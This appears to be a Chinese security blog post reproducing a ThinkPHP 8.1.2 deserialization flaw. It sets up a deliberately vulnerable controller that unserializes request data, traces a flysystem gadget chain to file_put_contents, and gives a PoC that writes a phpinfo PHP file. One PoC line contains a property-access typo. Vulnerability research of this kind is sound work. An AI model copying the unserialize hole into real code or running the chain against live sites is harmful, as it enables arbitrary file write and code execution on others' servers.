ThinkPHP是什么

ThinkPHP是 是一个快速、简洁、轻量级的 PHP 开发框架,由中国开发者团队开发和维护。它旨在简化 PHP 应用程序的开发流程,提供丰富的功能和工具,帮助开发者高效构建 Web 应用程序、API 服务等。

ThinkPHP 的特点

  • 简单易用:ThinkPHP 的设计理念是“大道至简”,提供了直观的 API 和文档,适合初学者和高级开发者。

  • 高性能:框架经过优化,运行效率高,适合处理高并发场景。

  • 模块化设计:支持模块化开发,方便项目的组织和扩展。

  • 丰富的功能

    • 数据库操作(支持多种数据库,如 MySQL、PostgreSQL、SQLite 等)。
    • 路由系统(支持 RESTful 路由)。
    • 模板引擎(内置模板引擎,支持视图渲染)。
    • 缓存机制(支持多种缓存方式,如文件缓存、Redis、Memcached 等)。
    • 安全性(提供 CSRF 防护、XSS 过滤等安全机制)。
  • 跨平台:支持 Windows、Linux、macOS 等操作系统。

  • 社区活跃:拥有庞大的中文开发者社区,文档和教程丰富。

而**ThinkPHP (8.1.2)**是官方在2025年1月发布的改进版本,现被发现存在反序列化漏洞,然后我这里跟着文章去复现一下

参考文章:最新版 ThinkPHP (8.1.2) 反序列化漏洞挖掘

环境搭建

既然是8.1.2的版本出现的漏洞,那么肯定需要拉源码下来分析了

当前PHP版本:8.1.2

ThinkPHP 版本: 8.1.2, 官网 Github: https://github.com/top-think/framework/releases/tag/v8.1.2, 这里使用composer进行安装即可

1
composer create-project topthink/think=8.1.2 my-project
  • topthink/think:ThinkPHP 的 Composer 包名称。
  • 8.1.2:指定安装的版本。
  • my-project:项目目录名称,可以自定义。

我是在vps的web目录下安装的,安装完成后直接访问就行

image-20250428111606168

然后在Windows物理机拉一下源码然后放phpstorm进行分析

先看看大致的目录内容

image-20250428111857012

随后我们创建\app\controller\Wang.php文件, 内容如下(当作控制器)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

namespace app\controller;

use app\BaseController;

class Wang extends BaseController{
public function index(){
$data = isset($_REQUEST['data']) ? $_REQUEST['data'] : '';
if(isset($data) && $data != ''){
unserialize($data);
}else {
echo 'no data';
}
return '<br>ThinkPHP Test';
}
}

然后我们访问index方法

image-20250428163030271

漏洞分析

任意文件读写

既然需要触发反序列化,那么就需要一个能触发的口子,也就是__destruct方法,所以我们全局搜索__destruct

image-20250428163324006

发现vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache这个类存在一个save方法调用, 但它是抽象类, 不允许反序列化, 我们找一下它的子类中的save方法

1
2
3
4
5
6
7
8
9
10
11
public function save()
{
$config = new Config();
$contents = $this->getForStorage();

if ($this->adapter->has($this->file)) {
$this->adapter->update($this->file, $contents, $config);
} else {
$this->adapter->write($this->file, $contents, $config);
}
}

在107行用了getForStorage()方法

1
2
3
4
5
6
public function getForStorage()
{
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete, $this->expire]);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//cleanContents方法
public function cleanContents(array $contents)
{
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
'md5',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

分析一下代码

在getForStorage方法中,会对内容进行一定的清理,并返回一个json串,而成员属性是可控的, 所以这里$contents的最终结果是部分可控的, 因为返回了一个具体的JSON串.

然后继续看save方法,有write调用,大致意思就是如果文件存在则update更新文件的内容,不存在则写入文件

由于write方法名就像是写入文件操作, 所以这里全局搜索write方法的定义, 看一下是否存在一些文件写入等功能模块的调用

在vendor/league/flysystem/src/Adapter/Local.php中有write的方法,并且在原来的调用中可以看到这个write的第一个参数和第二个参数是可控的,而第三个参数是$config = new Config();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function write($path, $contents, Config $config)
{
$location = $this->applyPathPrefix($path);
$this->ensureDirectory(dirname($location));

if (($size = file_put_contents($location, $contents, $this->writeFlags)) === false) {
return false;
}

$type = 'file';
$result = compact('contents', 'type', 'size', 'path');

if ($visibility = $config->get('visibility')) {
$result['visibility'] = $visibility;
$this->setVisibility($path, $visibility);
}

return $result;
}

这里存在一个文件写入操作,那我们尝试着去写链子

1
vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache::__destruct->vendor/League\Flysystem\Cached\Storage\Adapter::save->vendor/league/flysystem/src/Adapter/Local::write

那我们的poc就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

namespace League\Flysystem\Adapter {
class Local {

}
}

namespace League\Flysystem\Cached\Storage {
class AbstractCache {
protected $autosave = false;
}

class Adapter extends AbstractCache {
protected $file = './test.php';
protected $cache = ['<?=phpinfo();?>'];
protected $adapter;
}
}

namespace {
$obj = new League\Flysystem\Cached\Storage\Adapter();
$obj -> $adapter = new \League\Flysystem\Adapter\Local();
echo urlencode(serialize($obj));
}

把poc写在public目录下,因为在public目录下的文件才能对外访问到

我们访问poc.php

image-20250428183332789